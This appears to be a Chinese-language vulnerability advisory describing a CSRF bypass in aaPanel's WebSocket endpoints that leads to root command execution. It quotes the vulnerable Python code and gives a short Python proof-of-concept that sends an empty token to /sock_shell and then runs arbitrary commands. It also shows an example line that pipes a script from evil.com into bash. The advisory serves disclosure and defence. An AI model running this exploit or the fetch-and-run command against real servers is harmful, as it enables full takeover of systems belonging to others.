
aaPanel WebSocket CSRF 绕过导致 RCE(CVE-2021-37840 的不完整修复)
针对 CVE-2021-37840 的不完整修复在 5 年后仍使 360 万台服务器面临 root RCE 风险
发现者: EON Security
CVE: 待分配
CVSS: 8.8(高危)— AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
受影响版本: aaPanel 6.8.12 至 7.65.0(自 2021 年修复以来的所有版本)
安装基数: 超过 360 万台服务器
2021 年,aaPanel(一款运行在超过 360 万台服务器上的免费托管控制面板)披露了一个跨站 WebSocket 劫持漏洞(CVE-2021-37840)。供应商添加了一个 CSRF token 检查来“修复”该漏洞。
该修复在架构上是错误的。
修复并未在 HTTP 层面拒绝未认证的 WebSocket 连接(返回 401),而是允许所有连接通过(返回 101 Switching Protocols),并且只在处理器内部检查认证——此时 WebSocket 已经建立。他们添加的 CSRF 检查可以通过多种方式绕过。
EON Security 发现,5 年后,每个 aaPanel 版本仍然容易受到同一类攻击的影响。
这只是 aaPanel 在其 6 年多的历史中获得的第 10 个 CVE。
如果您运行 aaPanel,以下是攻击者可以对您采取的行动:
场景 1:管理员点击了恶意链接
curl http://evil.com/payload.sh | bash——该命令将以 root 身份在您的服务器上运行只需一次点击。一次误点击,攻击者就拥有一切。
场景 2:API 密钥泄露
这是更大的问题。CSRF 保护完全不适用于 API 认证的请求。它旨在检查基于浏览器的连接,但 API 访问的代码路径完全绕过了它。
无论如何,360 万台服务器都受到影响。自 2021 年以来的每个版本。
g.api_request=True(API 认证的请求)和 g.is_aes=True(AES 加密的请求)会完全跳过检查/sock_shell 端点执行任意命令——subprocess.Popen(cmd + " 2>&1", shell=True)/webssh 端点接受攻击者提供的 SSH 凭据——可连接到任意 SSH 主机所有 WebSocket 端点在执行任何认证检查之前就返回 HTTP 101 Switching Protocols。comm.local() 认证检查在处理器内部运行,而这时 WebSocket 升级已经完成:
@sockets.route('/sock_shell')
def sock_shell(ws):
comReturn = comm.local() # ← Auth check happens AFTER 101
if comReturn:
ws.send(str(comReturn))
return
受影响的端点:
/webssh(SSH 终端代理)/sock_shell(直接命令执行)/ws_panel(面板管理)/ws_home(仪表盘)/ws_project(项目管理)/ws_model(模型管理)/workorder_client(工单系统)/v2/* 变体check_csrf_websocket() 函数旨在防止跨站 WebSocket 劫持:
def check_csrf_websocket(ws, args):
if g.is_aes: return True # ← Bypass: AES mode skips check
if g.api_request: return True # ← Bypass: API requests skip check
if public.is_debug(): return True
is_success = True
if not 'x-http-token' in args:
is_success = False
if is_success:
if public.get_csrf_sess_html_token_value() != args['x-http-token']:
is_success = False
if not is_success:
ws.send('token error')
return False
return True
存在两个硬性绕过条件:
g.api_request:当为 True 时(在 API 密钥认证期间设置),CSRF 检查被完全跳过。任何经过 API 认证的 WebSocket 会话都会绕过此保护。g.is_aes:当为 True 时(在 AES 加密的 API 请求期间设置),CSRF 检查同样被跳过。token 比较(get_csrf_sess_html_token_value())返回 session.get('request_token_head', "")。在该值尚未初始化的会话中,空的 x-http-token 也能通过检查。
/sock_shell 端点将攻击者提供的字符串直接传递给 subprocess.Popen,并带有 shell=True:
def sock_recv(cmdstring, ws):
p = subprocess.Popen(cmdstring + " 2>&1",
close_fds=True,
shell=True, # ← Arbitrary command execution
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
在 WebSocket 上收到的每条消息都会作为 shell 命令执行。输出通过 WebSocket 流式返回。由于 aaPanel 以 root 身份运行,这会造成系统完全沦陷。
/webssh 端点接受来自第一条 WebSocket 消息的攻击者提供的 SSH 连接参数:
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()
如果主机是 127.0.0.1 或 localhost,处理器会在数据库中查找已保存的凭据,或使用攻击者提供的凭据。
主要的利用路径是 CSWSH(跨站 WebSocket 劫持),需要用户交互:
wss://victim-panel:8888/sock_shell 的 WebSocketcomm.local() 通过认证(有效的会话 cookie){"x-http-token": ""} 或利用 API/AES 绕过路径通过 API 密钥泄露的替代路径:
g.api_request = Trueimport asyncio, json, ssl
import websockets
async def exploit(target, command):
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
async with websockets.connect(
f"wss://{target}/sock_shell", ssl=ssl_context
) as ws:
# Attempt CSRF bypass with empty token
await ws.send(json.dumps({"x-http-token": ""}))
resp = await asyncio.wait_for(ws.recv(), timeout=10)
if "token error" in resp:
# CSRF check active — may need API auth bypass
return None
# Execute command
await ws.send(command)
return await asyncio.wait_for(ws.recv(), timeout=30)
完整 PoC:exploit.py
使用 check.py 脚本测试 aaPanel 实例是否存在易受攻击的 WebSocket 端点:
python3 check.py https://target:8888
g.api_request 和 g.is_aes 不应跳过 CSRF 保护| 日期 | 事件 |
|---|---|
| 2021-08-02 | 披露 CVE-2021-37840(aaPanel CSWSH) |
Yadav — EON Security
网站:https://eonsecurity.co.za
此内容根据 MIT 许可证授权。PoC 仅用于教育和防御目的。
| 端点 | 功能 | 影响 |
|---|
/webssh | SSH 终端代理 | 使用攻击者提供的凭据连接到任意 SSH 主机 |
/sock_shell | 直接命令执行 | 通过 shell 命令实现 root RCE |
/ws_panel | 面板管理 | 访问面板数据 |
/ws_home | 仪表盘 | 访问仪表盘数据 |
/ws_project | 项目管理 | 访问项目数据 |
/ws_model | 模型管理 | 访问模型数据 |
/workorder_client | 工单系统 | 访问工单数据 |
/v2/* | 所有 v2 变体 | 同上 |
| 2021 | 供应商添加 check_csrf_websocket() 作为修复 |
| 2026-06-23 | EON Security 发现修复不完整 |
| 待定 | CVE 分配 |
| 待定 | 公开披露 |